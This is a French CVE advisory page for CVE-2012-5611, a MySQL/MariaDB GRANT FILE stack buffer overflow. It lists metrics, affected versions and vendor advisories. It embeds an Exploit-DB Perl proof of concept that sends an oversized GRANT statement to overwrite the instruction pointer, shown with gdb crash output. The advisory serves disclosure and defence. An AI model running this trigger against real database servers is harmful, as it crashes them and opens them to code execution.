CVE-2012-5611 : Détail

CVE-2012-5611

Overflow
89.29%V3
Network
2012-12-03
10h00 +00:00
2017-09-18
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Stack-based buffer overflow in the acl_get function in Oracle MySQL 5.5.19 and other versions through 5.5.28, and 5.1.53 and other versions through 5.1.66, and MariaDB 5.5.2.x before 5.5.28a, 5.3.x before 5.3.11, 5.2.x before 5.2.13 and 5.1.x before 5.1.66, allows remote authenticated users to execute arbitrary code via a long argument to the GRANT FILE command.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 23075

Date de publication : 2012-12-01 23h00 +00:00
Auteur : kingcope
EDB Vérifié : No

#!/usr/bin/perl =for comment MySQL Server exploitable stack based overrun Ver 5.5.19-log for Linux and below (tested with Ver 5.1.53-log for suse-linux-gnu too) unprivileged user (any account (anonymous account?), post auth) as illustrated below the instruction pointer is overwritten with 0x41414141 bug found by Kingcope this will yield a shell as the user 'mysql' when properly exploited mysql@linux-lsd2:/root> gdb -c /var/lib/mysql/core GNU gdb (GDB) SUSE (7.2-3.3) Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i586-suse-linux". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Missing separate debuginfo for the main executable file Try: zypper install -C "debuginfo(build-id)=768fdbea8f1bf1f7cfb34c7f532f7dd0bdd76803" [New Thread 8801] [New Thread 8789] [New Thread 8793] [New Thread 8791] [New Thread 8787] [New Thread 8790] [New Thread 8799] [New Thread 8794] [New Thread 8792] [New Thread 8788] [New Thread 8800] [New Thread 8786] [New Thread 8797] [New Thread 8798] [New Thread 8785] [New Thread 8796] [New Thread 8783] Core was generated by `/usr/local/mysql/bin/mysqld --log=/tmp/mysqld.log'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) =cut use strict; use DBI(); # Connect to the database. my $dbh = DBI->connect("DBI:mysql:database=test;host=192.168.2.3;", "user", "secret", {'RaiseError' => 1}); $a ="A" x 100000; my $sth = $dbh->prepare("grant file on $a.* to 'user'\@'%' identified by 'secret';"); $sth->execute(); # Disconnect from the database. $dbh->disconnect();

Products Mentioned

Configuraton 0

Mariadb>>Mariadb >> Version 5.1.41

Mariadb>>Mariadb >> Version 5.1.42

Mariadb>>Mariadb >> Version 5.1.44

Mariadb>>Mariadb >> Version 5.1.47

Mariadb>>Mariadb >> Version 5.1.49

Mariadb>>Mariadb >> Version 5.1.50

Mariadb>>Mariadb >> Version 5.1.51

Mariadb>>Mariadb >> Version 5.1.53

Mariadb>>Mariadb >> Version 5.1.55

Mariadb>>Mariadb >> Version 5.1.60

Mariadb>>Mariadb >> Version 5.1.61

Mariadb>>Mariadb >> Version 5.1.62

Mariadb>>Mariadb >> Version 5.2.0

Mariadb>>Mariadb >> Version 5.2.1

Mariadb>>Mariadb >> Version 5.2.2

Mariadb>>Mariadb >> Version 5.2.3

Mariadb>>Mariadb >> Version 5.2.4

Mariadb>>Mariadb >> Version 5.2.5

Mariadb>>Mariadb >> Version 5.2.6

Mariadb>>Mariadb >> Version 5.2.7

Mariadb>>Mariadb >> Version 5.2.8

Mariadb>>Mariadb >> Version 5.2.9

Mariadb>>Mariadb >> Version 5.2.10

Mariadb>>Mariadb >> Version 5.2.11

Mariadb>>Mariadb >> Version 5.2.12

Mariadb>>Mariadb >> Version 5.3.0

Mariadb>>Mariadb >> Version 5.3.1

Mariadb>>Mariadb >> Version 5.3.2

Mariadb>>Mariadb >> Version 5.3.3

Mariadb>>Mariadb >> Version 5.3.4

Mariadb>>Mariadb >> Version 5.3.5

Mariadb>>Mariadb >> Version 5.3.6

Mariadb>>Mariadb >> Version 5.3.7

Mariadb>>Mariadb >> Version 5.3.8

Mariadb>>Mariadb >> Version 5.3.9

Mariadb>>Mariadb >> Version 5.3.10

Mariadb>>Mariadb >> Version 5.5.20

Mariadb>>Mariadb >> Version 5.5.21

Mariadb>>Mariadb >> Version 5.5.22

Mariadb>>Mariadb >> Version 5.5.23

Mariadb>>Mariadb >> Version 5.5.24

Mariadb>>Mariadb >> Version 5.5.25

Mariadb>>Mariadb >> Version 5.5.27

Mariadb>>Mariadb >> Version 5.5.28

Oracle>>Mysql >> Version 5.1.53

Oracle>>Mysql >> Version 5.5.19

Linux>>Linux_kernel >> Version -

Références

http://www.exploit-db.com/exploits/23075
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.ubuntu.com/usn/USN-1703-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.mandriva.com/security/advisories?name=MDVSA-2013:102
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/53372
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2012/12/02/3
Tags : mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2013-0180.html
Tags : vendor-advisory, x_refsource_REDHAT
http://seclists.org/fulldisclosure/2012/Dec/4
Tags : mailing-list, x_refsource_FULLDISC
http://security.gentoo.org/glsa/glsa-201308-06.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.openwall.com/lists/oss-security/2012/12/02/4
Tags : mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2012-1551.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2012/dsa-2581
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/51443
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-1658-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA